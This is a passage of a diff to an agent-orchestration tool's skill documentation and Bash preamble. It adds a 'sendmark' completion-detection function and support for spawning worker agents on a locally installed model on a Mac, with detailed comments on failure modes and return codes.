# idle: markers instead (§5.5). ⚠️ A dsh worker running a profile that does not
# idle: markers instead (§5.5, sendmark below). ⚠️ A dsh worker running a profile that does not
# implement the status contract is the one case that LOOKS like claude but is not:
# it accepts the send and then burns both waits. One timeout on a dsh worker whose
# pane clearly finished means that profile, so switch that worker to markers.
@@ -434,6 +559,108 @@ sendwait() {
fi
printf '%s\n' "$r"
}
# sendmark <sid> <prompt> [timeoutSec] -> one JSON line, for an AGENT worker with no
# end-of-turn signal: a `local` worker whose agent is not claude, a hook-less claude, and
# every external agent mode but deepseek (a shell worker takes §5.5's echo form instead):
# {"token":…,"delivered":true,"matched":true,"answerFile":"<path>","answer":"<text>",…}
# rc 0: the answer file was read, after the marker or once the file held still (below).
# 2: neither within the timeout (default 600 s; the worker may still be working, so nothing
# is deleted). 3: the worker's pane ended. 4: the marker printed, but no answer file turned
# up within SENDMARK_FILE_WAIT seconds of it (default 120). 1: the send or a wait failed
# (`detail` says why).
# It adds ONE sentence to your prompt (joined onto one line, as sendwait does): write the
# complete answer to codeman-answer-<token>.md in the working directory, and only then end
# the reply with the word DONE immediately followed by _<token>. The marker is split in what
# is typed, so the prompt echoing into the pane never matches it, and the token is new for
# every call (§5.5). The send is sendwait's exactly-once body (per-worker clientId,
# epoch-second seq) with a one-second `exit` wait, so `delivered` says the pane took it.
# ⚠️ A marker proves that the model printed the token. Not that it did the work, not that
# it did it right, not even that the turn is over: a reasoning model can restate the
# instruction while it plans. That is why the answer FILE is the second gate. ⚠️ And a
# full-screen agent can print the marker without it ever matching: opencode redraws its
# spinner between the pieces a model streams, so the stripped stream reads D⬝⬝O⬝⬝N⬝⬝E_⬝⬝m…
# (measured on opencode 1.3.0 on Linux, a reply streamed a character or two at a time; the screen
# showed the whole token). So the file is also the way out WITHOUT the marker: present, not
# empty, and unchanged between two rounds of the marker wait (rounds of at most 10 s), it is
# read and `matched` says false. It is read from this machine's disk, only when it is a
# regular file (a symlink is refused), at most 256 KB of it. It stays in the worker's folder
# (§5.14).
# SENDMARK_ANSWER_FILE=0 asks for the marker alone, for a worker that cannot write where it
# runs (codex in a folder it runs read-only, an agent that asks before it writes a file, a
# worker on another host): rc 0 then means only "the marker printed", and the answer is
# yours to read (last_text for codex, §5.4). Without the file there is no way out but the
# marker, so on a full-screen agent that can be rc 2 for a reply that finished.
sendmark() {
local sid="${1:?}" p="${2:?}" t="${3:-600}" tok mark file='' wd r w='' rem end start got=0 ended=0 matched=false i=0 rc=2 fp prev=''
case "$p" in *$'\n'*|*$'\r'*)
p=$(printf '%s\n' "$p" | tr '\r' '\n' | sed -e 's/^[[:space:]]*//' -e 's/[[:space:]]*$//' -e '/^$/d' | paste -sd ' ' -) ;;
esac
[ -n "$p" ] || { echo "sendmark: empty prompt" >&2; return 1; }
tok=$(printf 'm%x%04x' "$(date +%s)" "$RANDOM"); mark="DONE_$tok"
if [ "${SENDMARK_ANSWER_FILE:-1}" != 0 ]; then
wd=$("${CURL[@]}" "$API/api/v1/sessions/$sid" | jq -r '.data.workingDir // empty' 2>/dev/null)
[ -n "$wd" ] || { echo "sendmark: could not read the working directory of worker $sid" >&2; return 1; }
file="$wd/codeman-answer-$tok.md"
p="$p (When you are done: write your complete answer to the file codeman-answer-$tok.md in your current working directory, and only after that file is written, end your reply with the word DONE immediately followed by _$tok with no space in between.)"
else
p="$p (When you are done, end your reply with the word DONE immediately followed by _$tok with no space in between.)"
fi
r=$("${CURL[@]}" -X POST "$API/api/v1/sessions/$sid/input" -H 'Content-Type: application/json' \
--data-binary "$(jq -nc --arg p "$p" --arg c "$CID-$sid" --argjson s "$(date +%s)" \
'{input:($p+"\r"),useMux:true,clientId:$c,seq:$s,wait:"exit",waitTimeout:1000}')")
if ! jq -e '.success and .data.delivered' <<<"$r" >/dev/null 2>&1; then
jq -e '.data.wait.ended or .data.wait.signal == "exit"' <<<"$r" >/dev/null 2>&1 && rc=3 || rc=1
jq -nc --arg t "$tok" --arg r "$r" '{token:$t,delivered:false,matched:false,answerFile:null,answer:null,detail:($r | fromjson? // $r)}'
return "$rc"
fi
start=$(date +%s); end=$((start + t))
while :; do # bounded waits of at most 10 s each, until the timeout
rem=$((end - $(date +%s))); [ "$rem" -ge 1 ] || break
[ "$rem" -le 10 ] || rem=10
w=$("${CURL[@]}" -G "$API/api/v1/sessions/$sid/wait-output" --data-urlencode "match=$mark" \
--data-urlencode 'from=buffer' --data-urlencode "timeout=$((rem * 1000))")
jq -e '.data.wait.matched' <<<"$w" >/dev/null 2>&1 && { matched=true; break; }
jq -e '.data.wait.ended' <<<"$w" >/dev/null 2>&1 && { ended=1; break; }
jq -e '.success' <<<"$w" >/dev/null 2>&1 || {
jq -nc --arg t "$tok" --arg w "$w" '{token:$t,delivered:true,matched:false,answerFile:null,answer:null,detail:($w | fromjson? // $w)}'
return 1; }
# No marker this round. The answer file is the other way out (see above): it counts once
# it is a non-empty regular file whose checksum did not change since the last round.
if [ -n "$file" ] && [ ! -L "$file" ] && [ -f "$file" ] && [ -s "$file" ]; then
fp=$(cksum < "$file"); [ "$fp" = "$prev" ] && { got=1; break; }; prev=$fp
else
prev=''
fi
done
if [ "$matched" = true ] && [ -n "$file" ]; then
while :; do
[ -L "$file" ] && { echo "sendmark: $file is a symlink, not read" >&2; break; }
[ -f "$file" ] && { got=1; break; }
[ "$i" -lt "${SENDMARK_FILE_WAIT:-120}" ] || break
# Two seconds of waiting that also notices a worker that died: an exit wait answers at
# once then. A wait that did not answer (server gone) still costs its two seconds.
w=$("${CURL[@]}" -G "$API/api/v1/sessions/$sid/wait" --data-urlencode 'until=exit' --data-urlencode 'timeout=2000')
jq -e '.data.wait.signal == "exit" or .data.wait.ended' <<<"$w" >/dev/null 2>&1 && { ended=1; break; }
jq -e '.success' <<<"$w" >/dev/null 2>&1 || sleep 2
i=$((i + 2))
done
fi
if [ "$got" = 1 ]; then
head -c 262144 "$file" | jq -Rsc --arg t "$tok" --arg f "$file" --argjson m "$matched" \
--argjson s "$(($(date +%s) - start))" --argjson c "$(($(wc -c < "$file")))" \
'{token:$t,delivered:true,matched:$m,answerFile:$f,answer:.,truncated:($c > 262144),waitedSec:$s}'
return 0
fi
jq -nc --arg t "$tok" --arg f "$file" --argjson m "$matched" --argjson e "$ended" --argjson s "$(($(date +%s) - start))" \
'{token:$t,delivered:true,matched:$m,answerFile:(if $f == "" then null else $f end),answer:null,ended:($e == 1),waitedSec:$s}'
if [ "$matched" = true ]; then
[ -z "$file" ] && return 0
[ "$ended" = 1 ] && return 3
return 4
fi
[ "$ended" = 1 ] && return 3
return 2
}
# last_text <sid> [prev] -> that worker's last assistant message (claude, codex and
# deepseek write a real transcript; the other modes have none, so read the terminal
# instead -- §5.4). Polled, because the transcript write LAGS the stop signal, and
@@ -456,10 +683,10 @@ last_text() {
# The stamp is the LAST line on purpose (a truncated write leaves it unset) and is kept
# bare on purpose: the write condition above anchors on it with $, so an inline comment
# here would fail that match and rewrite this file on every single bootstrap.
CODEMAN_PREAMBLE=1.44.0
CODEMAN_PREAMBLE=1.50.0
PREAMBLE
)
. "$PRE"; [ "${CODEMAN_PREAMBLE:-}" = 1.44.0 ] || { echo "preamble at $PRE is stale or truncated: rm it and re-run this block"; exit 1; }
. "$PRE"; [ "${CODEMAN_PREAMBLE:-}" = 1.50.0 ] || { echo "preamble at $PRE is stale or truncated: rm it and re-run this block"; exit 1; }
```
Every later Bash call that touches the API starts with the same two loader lines from
@@ -510,7 +737,7 @@ and no per-call body to hand-build.
```bash
. "${XDG_CACHE_HOME:-$HOME/.cache}/codeman-agent-$CODEMAN_SESSION_ID.sh" 2>/dev/null # §0 loader
[ "${CODEMAN_PREAMBLE:-}" = 1.44.0 ] || { echo "preamble missing or stale; run the full §0 block"; exit 1; }
[ "${CODEMAN_PREAMBLE:-}" = 1.50.0 ] || { echo "preamble missing or stale; run the full §0 block"; exit 1; }
N=(alpha beta) # INVENT one fresh case name per worker; never list cases first
# (a name may carry a mode: `beta:deepseek`, see below)
T=('reply with one line: the absolute path of your working directory'
@@ -557,8 +784,8 @@ the time went into deliberation, not the API. The four things that actually cost
polled pid for nothing, and shipped its workers without lineage.
- **Verifying what is already checked for you.** Two verifications specifically are not
worth a call here, because `spawn_worker` carries them: the hooks check (it refuses a
name that resolved to a hook-less directory with one local grep, so a worker it hands
back always has a working `stop` and `sendwait` is trustworthy), and the pid poll,
name that resolved to a hook-less directory with one local grep, so a claude worker it
hands back always has a working `stop` and `sendwait` is trustworthy), and the pid poll,
which is dead weight because `wait-output` already blocks on the composer.
Four things this block leans on, each one link away, no detour needed to run it:
@@ -618,6 +845,71 @@ Three things to know before you spawn one:
worker whose pane clearly finished: that profile is one of them, so drive it with
markers instead.
### Claude in the cloud, a local model on this Mac
When Codeman has installed a model on the Mac it runs on (the **Run a local model** button
on its welcome screen), you can hand work to that model from here. You stay the planner and
the reviewer in the cloud; the Mac does the bulk. `spawn_worker <name> local` starts a worker
on the installed model, run by the coding agent it was installed with (OpenCode on the Mac
it was tested on), and from then on it is the same verbs. It mixes into one fleet like any
other mode: `spawn_workers plan review:deepseek summ:local`.
Reach for it when:
- **The work is bulk, not judgment**: summarizing a folder, classifying, first drafts of
tests, boilerplate. A local turn has no per-token bill.
- **The files should stay on this machine**: the worker reads them here, and only what you
read back from it enters your own context.
- **You want a second opinion from a different model**, with different blind spots.
- **The worker should not depend on the network**: the model's runtime listens on this Mac
only, started with its cloud features off. You, the lead, still need a connection.
```bash
. "${XDG_CACHE_HOME:-$HOME/.cache}/codeman-agent-$CODEMAN_SESSION_ID.sh" 2>/dev/null # §0 loader
[ "${CODEMAN_PREAMBLE:-}" = 1.50.0 ] || { echo "preamble missing or stale; run the full §0 block"; exit 1; }
local_model || exit 1 # one JSON line: model, agent, endpoint; or the reason there is none
SID=$(spawn_worker summ local) || exit 1 # starts a stopped runtime first; empty = failed
WD=$("${CURL[@]}" "$API/api/v1/sessions/$SID" | jq -r .data.workingDir)
mkdir -p "$WD/input" && cp ./docs/*.md "$WD/input/" # inside its own folder (§5.9), apart from its CLAUDE.md
R=$(sendmark "$SID" 'Summarize each .md file in the folder input, two lines each' 900); RC=$?
jq -r '.answer // "(no answer)"' <<<"$R"
if [ "$RC" = 0 ]; then delete_session "$SID" >/dev/null
else echo "kept $SID (sendmark rc $RC: 2 no answer yet, 3 ended, 4 no answer file): $R"; fi
```
`sendmark` is the local worker's `sendwait`: it adds one sentence to your prompt asking for
the answer in `codeman-answer-<token>.md` in the worker's folder and then a split marker,
waits for the marker with `wait-output`, and reads the file back. OpenCode can draw the
marker in pieces that never match, so a file that holds still between two checks ends the
wait too ([§5.16](reference/verbs.md#516-a-worker-on-the-local-model)). Read its `answer`,
not the pane: a full-screen agent's pane is a poor transcript. ⚠️ A marker proves that the model
printed a token, not that the work is done or right. Review what comes back the way you
would review any first draft.
The limits, before you promise the user anything:
- **A Mac with Apple silicon, and a model a person installed** in Codeman's local model
window. This skill never installs one: that is a download of many gigabytes the person
confirms there. `local_model` says what is missing (`not-mac`, `not-installed`,
`install-unfinished`, `blocked`, `admin-only`, `unsupported`), so tell the user that
instead of guessing.
- **One model, one request at a time.** The runtime loads one model and answers one request
at a time, so two local workers take turns rather than work side by side. Fan out to the
cloud; give the Mac a queue.
- **Slower than a cloud model.** The one measured pair, OpenCode with Qwen3.6 35B-A3B on an
M5 Pro with 48 GB, ran at about 68 tokens a second, and the first request after a start
loads the model first. A local worker run by claude spends minutes on its first answer
(its fixed prompt is about 36,000 tokens).
- **Markers, not hooks.** OpenCode reports no end of turn, so `sendwait` answers 400 for
that worker; `sendmark` is the way through. If the installed agent is claude, the worker
has hooks and `sendwait` works as for any claude worker.
- **Spawning can change what the person set.** A stopped runtime is started, which also
undoes the person's Stop: it then starts with Codeman again. And while a local worker is
open, the window refuses Stop and Remove and names your workers, so delete them as soon
as they are done.
- **Admin only in multi-user mode, and experimental.** The local model routes answer 403
for anyone else (`admin-only`), and they may change in any release.
## 2. What do you want to do?
One row per job. Acting on this table alone is correct; the §5 links are the detail.
@@ -627,7 +919,8 @@ One row per job. Acting on this table alone is correct; the §5 links are the de
| start a worker **where the work is** | `POST /api/v1/quick-start {"caseName":…}`, which **creates** `~/codeman-cases/<name>` unless the name is already a case. Any other path (a git worktree): `POST /api/v1/sessions {"workingDir":…}` then `POST /api/v1/sessions/:id/interactive`. Both install hooks by default, so expect full signals in either, and **verify** rather than assume. N workers means N worktrees | [§5.1](reference/verbs.md#51-where-to-spawn) |
| know a new worker can accept a prompt | `GET .../wait-output?match=shift+tab&from=buffer` (urlencode the `+`); a `deepseek` worker draws `❯` instead, and its boot `stop` fires ~300 ms BEFORE that, so never read the signal as readiness | [§5.2](reference/verbs.md#52-readiness) |
| deliver a task **and** know when it finished | `POST .../input` with `"input":"…\r"`, `clientId`, `seq`, `"wait":true`. Resolves on `stop`, so it is trustworthy where the signal is real: claude mode with hooks (installed by default, but the operator can disable it and remote sessions never get them) and `deepseek` mode through its status bridge. Costs the worker one billed turn | [§5.3](reference/verbs.md#53-send-a-task-and-wait) |
| know a hook-less worker finished | it has no `stop`, and `wait:true` there resolves on flapping `idle` **without erroring**: make it print a split, unique marker and `wait-output` on that instead | [§5.5](reference/verbs.md#55-markers-for-hook-less-workers) |
| know a hook-less worker finished | it has no `stop`, and `wait:true` there resolves on flapping `idle` **without erroring**: make it print a split, unique marker and `wait-output` on that instead. For an agent worker, `sendmark <sid> "<prompt>"` does all of it and reads the answer back | [§5.5](reference/verbs.md#55-markers-for-hook-less-workers) |
| hand work to the local model on this Mac (cheap bulk work, files that stay here, a second opinion) | `local_model` says what is installed; `spawn_worker <name> local` (or `name:local` in `spawn_workers`) starts a worker on it; `sendmark` tasks it and returns the answer | [Local model](#claude-in-the-cloud-a-local-model-on-this-mac), [§5.16](reference/verbs.md#516-a-worker-on-the-local-model) |
| read the answer | `GET .../last-response`, **polled** (claude, codex and deepseek write a transcript; empty for the other modes) | [§5.4](reference/verbs.md#54-read-the-answer) |
| know if it is alive | `GET .../wait?until=exit&timeout=1000`: an immediate `signal:"exit"` means dead. `status` and `pid` both lie | [§5.6](reference/verbs.md#56-alive-and-stuck) |
| know if it is stuck | `GET .../active-tools` and `GET .../run-summary` are structured and free; two `terminal?tail=` samples are the crude fallback | [§5.6](reference/verbs.md#56-alive-and-stuck) |
@@ -743,6 +1036,7 @@ these**; open the one row you actually hit.
| [5.13 Messaging claude workers](reference/verbs.md#513-messaging-claude-workers) | `ListAgents` / `SendMessage` instead of the HTTP path |
| [5.14 Clean up](reference/verbs.md#514-clean-up) | what deleting a session does **not** remove, and how to list the case dirs you left |
| [5.15 Agent inbox](reference/verbs.md#515-agent-inbox) | messages that wait for the receiver instead of being typed: post, read until ack, who counts as the receiver |
| [5.16 A worker on the local model](reference/verbs.md#516-a-worker-on-the-local-model) | what `local_model` answers, what `spawn_worker <name> local` does step by step, and every `sendmark` outcome |
## 6. Setup and auth
+242 -16
View File
@@ -1,4 +1,4 @@
# ---- Codeman agent preamble 1.44.0 (seeded by Codeman at session spawn; the SKILL.md §0 bootstrap rewrites it when missing or stale) ----
# ---- Codeman agent preamble 1.50.0 (seeded by Codeman at session spawn; the SKILL.md §0 bootstrap rewrites it when missing or stale) ----
# Positional parameters are always written with braces, ${1} and never a bare dollar-digit: Claude Code
# replaces a bare one in a skill body with the matching word of the skill's arguments, and §0 is pasted
# from that body (test/agent-skill.test.ts pins it).
@@ -49,11 +49,15 @@ _composer_up() { # <sid> <timeoutMs> -> "true"/"false". `shift+tab` is the one
--data-urlencode 'match=shift+tab' --data-urlencode 'from=buffer' \
--data-urlencode "timeout=${2}" | jq -r '.data.wait.matched // false'
}
_mark_up() { # <sid> <mark> <timeoutMs> -> "true"/"false": a literal, space-free token
# in the pane's output, read from the buffer so a composer drawn before the wait counts.
"${CURL[@]}" -G "$API/api/v1/sessions/${1}/wait-output" \
--data-urlencode "match=${2}" --data-urlencode 'from=buffer' \
--data-urlencode "timeout=${3}" | jq -r '.data.wait.matched // false'
}
_dsh_up() { # <sid> <timeoutMs> -> "true"/"false". The DeepSeek Harness TUI's
# composer glyph. Override with DSH_READY_MARK for a profile that draws another one.
"${CURL[@]}" -G "$API/api/v1/sessions/${1}/wait-output" \
--data-urlencode "match=${DSH_READY_MARK:-❯}" --data-urlencode 'from=buffer' \
--data-urlencode "timeout=${2}" | jq -r '.data.wait.matched // false'
_mark_up "${1}" "${DSH_READY_MARK:-❯}" "${2}"
}
# ---- the workspace-trust dialog: READ the screen, never press Enter blind ----
# Claude Code 2.1.252 dropped the option numbers, REVERSED them, and highlights
@@ -113,21 +117,126 @@ _accept_trust() { # <sid> -> 0 once it has answered the dialog, 1 if it could n
done
return 1
}
# ---- the local model: the model Codeman installed on this Mac, as a worker ----
# local_model -> ONE compact JSON object on stdout. rc 0 only when a `local` worker can be
# spawned now (`running:true`) or once spawn_worker has started the runtime (`running:false`):
# {"spawnable":true,"state":"installed","running":true,"cli":"opencode","cliLabel":"OpenCode",
# "endpointId":"local-ollama","modelId":"<id>","modelLabel":"<label>"}
# Otherwise rc 1 and {"spawnable":false,"reason":"<reason>","message":"<why>",...}, the reason
# one of: not-mac, not-installed, install-unfinished, blocked (installed, but the server
# refuses a session now: the model changed on disk, another program holds the port, the
# runtime does not start), admin-only (multi-user mode, 403), unsupported (a Codeman without
# local models, 404), unauthorized (401, §6), unreachable, error.
# One GET of an EXPERIMENTAL route. It downloads, installs and starts nothing: installing is
# a person's decision, made in Codeman's "Run a local model" window.
local_model() {
local r code body out
r=$("${CURL[@]}" -w '\n%{http_code}' "$API/api/v1/local-model")
code=${r##*$'\n'}; body=${r%$'\n'*}
case "$code" in
200) out=$(jq -c '
def say: (.text // "") as $t
| reduce ((.vars // {}) | to_entries[]) as $e ($t; gsub("\\{" + $e.key + "\\}"; $e.value));
.data as $d | ($d.install // {}) as $i | ($i.actions // []) as $a
| {state:$i.state, running:($i.running == true), cli:$i.cli, cliLabel:$i.cliLabel,
endpointId:$i.endpointId, modelId:$i.model.id, modelLabel:$i.model.label} as $base
| if ($d | type) != "object" then {spawnable:false, reason:"error", message:"no data in the answer"}
elif $i.state == "installed" then
# `start` alone over-promises: it is offered too while another program holds the
# port. Only an error-free start is a runtime spawn_worker can bring up.
if ($i.cli and $i.endpointId and $i.model.id)
and (($a | index("start-session")) != null or (($a | index("start")) != null and $i.error == null))
then {spawnable:true} + $base
else {spawnable:false, reason:"blocked", errorCode:$i.error.code,
message:(if $i.error then ($i.error.message | say)
else "The model is installed, but the server offers no session on it right now." end)} + $base
end
elif $d.recommendation.reason == "not-macos" then
{spawnable:false, reason:"not-mac",
message:("Local models need a Mac with Apple silicon, and this Codeman runs on " + ($d.hardware.platform // "another system") + ".")}
elif $i.state == "idle" then
{spawnable:false, reason:"not-installed",
message:("No local model is installed. " + (if $d.recommendation.verdict == "none" then ($d.recommendation.headline | say)
else "A person installs one with Run a local model on the Codeman welcome screen." end))}
else
{spawnable:false, reason:"install-unfinished", step:$i.step, errorCode:$i.error.code,
message:("The install is " + ($i.state // "unfinished") + (if $i.step then " at its " + $i.step + " step" else "" end)
+ (if $i.error then ": " + ($i.error.message | say) else "." end)
+ " Only the Run a local model window continues it.")} + $base
end
| with_entries(select(.value != null))' <<<"$body" 2>/dev/null) ;;
000) out=$(jq -nc --arg a "$API" '{spawnable:false,reason:"unreachable",message:("No answer from Codeman at " + $a + ".")}') ;;
401) out='{"spawnable":false,"reason":"unauthorized","message":"Codeman refused the credentials (401): see the codeman skill, section 6."}' ;;
403) jq -e '.errorCode == "FORBIDDEN"' <<<"$body" >/dev/null 2>&1 &&
out='{"spawnable":false,"reason":"admin-only","message":"In multi-user mode the local model is for admins only: ask an admin of this Codeman."}' ;;
404) out='{"spawnable":false,"reason":"unsupported","message":"This Codeman has no local model support: it predates it."}' ;;
esac
[ -n "${out:-}" ] || out=$(jq -nc --arg c "$code" --arg t "$body" \
'{spawnable:false,reason:"error",status:$c,message:((($t | fromjson? | .error?) // $t)[0:300])}')
printf '%s\n' "$out"
[ "$(jq -r .spawnable <<<"$out")" = true ]
}
# _local_ready_model -> local_model's JSON once a `local` worker can start, rc 1 with the
# reason on stderr otherwise. An installed model whose runtime is stopped is started first,
# with exactly what the local model window's Start button sends, and read again until it
# runs (bounded, about 30 s). ⚠️ That start also undoes a Stop the person made: the runtime
# starts with Codeman again from then on. Concurrent spawns may both send it; the server
# runs one runtime verb at a time and a second start keeps the runtime that runs.
_local_ready_model() {
local lm r i=0
lm=$(local_model) || { jq -r '"no local model to spawn on (" + .reason + "): " + .message' <<<"$lm" >&2; return 1; }
[ "$(jq -r .running <<<"$lm")" = true ] && { printf '%s\n' "$lm"; return 0; }
r=$("${CURL[@]}" -X POST "$API/api/v1/local-model/runtime" -H 'Content-Type: application/json' -d '{"action":"start"}')
jq -e '.success == true' <<<"$r" >/dev/null 2>&1 || {
echo "could not start the local model runtime: $(jq -r '.error // empty' <<<"$r" 2>/dev/null || printf '%s' "$r" | head -c 300)" >&2
return 1; }
while :; do
lm=$(local_model) || { jq -r '"the local model runtime was started, but (" + .reason + "): " + .message' <<<"$lm" >&2; return 1; }
[ "$(jq -r .running <<<"$lm")" = true ] && { printf '%s\n' "$lm"; return 0; }
i=$((i+1)); [ "$i" -lt 15 ] || { echo "the local model runtime did not report running within 30 s" >&2; return 1; }
sleep 2
done
}
# spawn_worker <caseName> [mode] -> session id on stdout, diagnostics on stderr.
# quick-start AND readiness in one call, with a strict contract: NON-EMPTY stdout means
# a READY worker whose end-of-turn signal can be trusted -- a claude worker in a
# hook-carrying case, or a `deepseek` worker whose harness TUI drew its composer.
# hook-carrying case, or a `deepseek` worker whose harness TUI drew its composer -- or a
# `local` worker (below) whose composer drew, which takes a prompt but has NO end-of-turn
# signal unless its harness is claude: drive that one with sendmark.
# Anything less is rc 1 with EMPTY stdout, and the half-spawned session is deleted here
# rather than handed back, because a worker that never drew its composer would eat the
# task prompt with its trust dialog. There is deliberately no pid poll: wait-output
# already blocks until the composer draws, and pid!=null proved startup, never readiness.
# mode `local` is the model Codeman installed on this Mac (local_model), run by the coding
# agent it was installed with. The worker's mode becomes that agent, and the endpoint and
# model ride the quick-start as `customModel`: the launch the window's "Start a session"
# makes. A stopped runtime is started first. Any answer that wants a person to confirm
# something (a context below the agent's safe floor, a model swap) fails the spawn: this
# never confirms on anyone's behalf.
# CODEMAN_WORKER_ADVISOR=opus (or fable / sonnet) gives every CLAUDE worker spawned while
# it is set Claude Code's advisor tool: a stronger model the worker consults before
# committing to an approach, on a recurring error and before declaring the task done.
# Other modes ignore it. A value the server refuses fails the spawn (INVALID_INPUT); an
# advisor that ranks below the worker's model is accepted but never attached by claude.
spawn_worker() {
local name="${1:?spawn_worker needs a case name}" mode="${2:-claude}" q sid cp r
local name="${1:?spawn_worker needs a case name}" mode="${2:-claude}" q sid cp r lm cm='' mark=''
if [ "$mode" = local ]; then
lm=$(_local_ready_model) || return 1
mode=$(jq -r .cli <<<"$lm")
cm=$(jq -c '{endpointId, modelId}' <<<"$lm")
# Readiness is a token the agent's composer draws. The registry's composer data never
# reaches the API, so it is named per agent here. opencode: `┃`, its `workDetect.promptGlyph`.
# That field is no readiness mark in general (the registry keeps `composerReadyMark` for
# that, and declares none for opencode), but at boot only the composer draws it: measured
# on opencode 1.3.0 on Linux, fresh home, custom provider, the first `┃` came with the composer,
# and a prompt pasted with its Enter at that moment was submitted. claude takes the claude
# path below. Any other agent needs LOCAL_READY_MARK rather than a worker handed back on a guess.
[ "$mode" = opencode ] && mark='┃'
mark=${LOCAL_READY_MARK:-$mark}
[ "$mode" = claude ] || [ -n "$mark" ] || {
echo "the local model runs through $mode, and this skill knows no composer mark for it: set LOCAL_READY_MARK to a space-free token its composer draws" >&2
return 1; }
fi
# parentSessionId doubles the CURL header, so a spawn_worker copied off the shared
# curl (or a body someone rebuilt from this recipe) still carries its lineage.
# deepseek: ask for the same permission posture the Run button sends, because the
@@ -135,21 +244,36 @@ spawn_worker() {
# an approval row is a worker no fan-out can finish. It is not an escalation --
# claude workers already spawn with permissions skipped, and in multi-user mode the
# server clamps this back to `workspace-write` for an owner without the grant.
# Spawn by hand (§5.1) when you want a worker that asks.
# Spawn by hand (§5.1) when you want a worker that asks. The advisor is a cloud model,
# so a claude worker on the local model never gets one.
q=$("${CURL[@]}" -X POST "$API/api/v1/quick-start" -H 'Content-Type: application/json' \
-d "$(jq -nc --arg n "$name" --arg m "$mode" --arg p "$SELF" --arg a "${CODEMAN_WORKER_ADVISOR:-}" \
-d "$(jq -nc --arg n "$name" --arg m "$mode" --arg p "$SELF" --arg a "${CODEMAN_WORKER_ADVISOR:-}" --arg cm "$cm" \
'{caseName:$n,mode:$m,parentSessionId:$p}
+ (if $m == "deepseek" then {deepSeekConfig:{permissionMode:"danger-full-access"}} else {} end)
+ (if $m == "claude" and $a != "" then {advisorModel:$a} else {} end)')")
+ (if $m == "claude" and $a != "" and $cm == "" then {advisorModel:$a} else {} end)
+ (if $cm != "" then {customModel:($cm | fromjson)} else {} end)')")
# The answers that want a PERSON to decide come back as success with no session id.
if jq -e '(.data // .) | (.requiresContextWarning or .requiresConfirmation)' <<<"$q" >/dev/null 2>&1; then
jq -r '"quick-start wants a person to confirm something, so no worker was started: " + ((.data // .) | tojson)' <<<"$q" >&2
return 1
fi
sid=$(jq -r 'if .success then .data.sessionId else empty end' <<<"$q")
# NOT retryable in a loop: every quick-start failure code is terminal (§5.1).
[ -n "$sid" ] || { jq -c '{error,errorCode}' <<<"$q" >&2; return 1; }
# A server without advisor support DROPS the field instead of refusing it, so read it
# back: a worker silently missing the advisor it was asked for is worth one line.
if [ "$mode" = claude ] && [ -n "${CODEMAN_WORKER_ADVISOR:-}" ] &&
if [ "$mode" = claude ] && [ -z "$cm" ] && [ -n "${CODEMAN_WORKER_ADVISOR:-}" ] &&
[ "$("${CURL[@]}" "$API/api/v1/sessions/$sid" | jq -r '.data.advisorModel // empty')" != "$CODEMAN_WORKER_ADVISOR" ]; then
echo "worker $sid: this Codeman server ignored CODEMAN_WORKER_ADVISOR (no advisor support); it runs without one" >&2
fi
if [ -n "$cm" ] && [ "$mode" != claude ]; then
# No trust dialog and no hook file to vet: the agent has no hooks, which is exactly
# why sendwait refuses it (400) and sendmark drives it.
r=$(_mark_up "$sid" "$mark" 45000)
[ "$r" = true ] || { echo "local worker $sid ($mode) never drew '$mark' within 45 s; deleted it. Look at GET /api/v1/local-model and the pane of a hand-made session before retrying" >&2
delete_session "$sid" >/dev/null; return 1; }
printf '%s\n' "$sid"; return 0
fi
if [ "$mode" = deepseek ]; then
# The one non-claude mode with REAL end-of-turn signals: its TUI reports
# idle/working/blocked to Codeman, so sendwait, until=stop and the Approvals
@@ -195,10 +319,10 @@ spawn_worker() {
# order; the sessionId column is EMPTY for a spawn that failed (stderr has why).
# CONCURRENT: N workers cost about what one costs. Spawning them one Bash call at a time
# is the single biggest avoidable delay in this skill. A bare name is a claude worker;
# `beta:deepseek` makes that one a DeepSeek Harness worker, and a mixed fleet is one
# call. Case names must be UNIQUE: two workers in one case directory co-edit the same
# tree (§4), so a repeat is an error here, not a race (the mode never disambiguates two
# workers, since they would still share the directory).
# `beta:deepseek` makes that one a DeepSeek Harness worker, `summ:local` a worker on the
# local model, and a mixed fleet is one call. Case names must be UNIQUE: two workers in
# one case directory co-edit the same tree (§4), so a repeat is an error here, not a race
# (the mode never disambiguates two workers, since they would still share the directory).
spawn_workers() {
local d spec n m i=0
[ "$#" -gt 0 ] || { echo "spawn_workers: no case names given" >&2; return 1; }
@@ -232,7 +356,7 @@ spawn_workers() {
# wait that was open the whole time is what reports the turn's end. Trustworthy for a worker
# spawn_worker handed back -- claude (hooks vetted) or deepseek (status bridge) --
# and for those only. Hook-less workspaces and the other modes resolve on flapping
# idle: markers instead (§5.5). ⚠️ A dsh worker running a profile that does not
# idle: markers instead (§5.5, sendmark below). ⚠️ A dsh worker running a profile that does not
# implement the status contract is the one case that LOOKS like claude but is not:
# it accepts the send and then burns both waits. One timeout on a dsh worker whose
# pane clearly finished means that profile, so switch that worker to markers.
@@ -297,6 +421,108 @@ sendwait() {
fi
printf '%s\n' "$r"
}
# sendmark <sid> <prompt> [timeoutSec] -> one JSON line, for an AGENT worker with no
# end-of-turn signal: a `local` worker whose agent is not claude, a hook-less claude, and
# every external agent mode but deepseek (a shell worker takes §5.5's echo form instead):
# {"token":…,"delivered":true,"matched":true,"answerFile":"<path>","answer":"<text>",…}
# rc 0: the answer file was read, after the marker or once the file held still (below).
# 2: neither within the timeout (default 600 s; the worker may still be working, so nothing
# is deleted). 3: the worker's pane ended. 4: the marker printed, but no answer file turned
# up within SENDMARK_FILE_WAIT seconds of it (default 120). 1: the send or a wait failed
# (`detail` says why).
# It adds ONE sentence to your prompt (joined onto one line, as sendwait does): write the
# complete answer to codeman-answer-<token>.md in the working directory, and only then end
# the reply with the word DONE immediately followed by _<token>. The marker is split in what
# is typed, so the prompt echoing into the pane never matches it, and the token is new for
# every call (§5.5). The send is sendwait's exactly-once body (per-worker clientId,
# epoch-second seq) with a one-second `exit` wait, so `delivered` says the pane took it.
# ⚠️ A marker proves that the model printed the token. Not that it did the work, not that
# it did it right, not even that the turn is over: a reasoning model can restate the
# instruction while it plans. That is why the answer FILE is the second gate. ⚠️ And a
# full-screen agent can print the marker without it ever matching: opencode redraws its
# spinner between the pieces a model streams, so the stripped stream reads D⬝⬝O⬝⬝N⬝⬝E_⬝⬝m…
# (measured on opencode 1.3.0 on Linux, a reply streamed a character or two at a time; the screen
# showed the whole token). So the file is also the way out WITHOUT the marker: present, not
# empty, and unchanged between two rounds of the marker wait (rounds of at most 10 s), it is
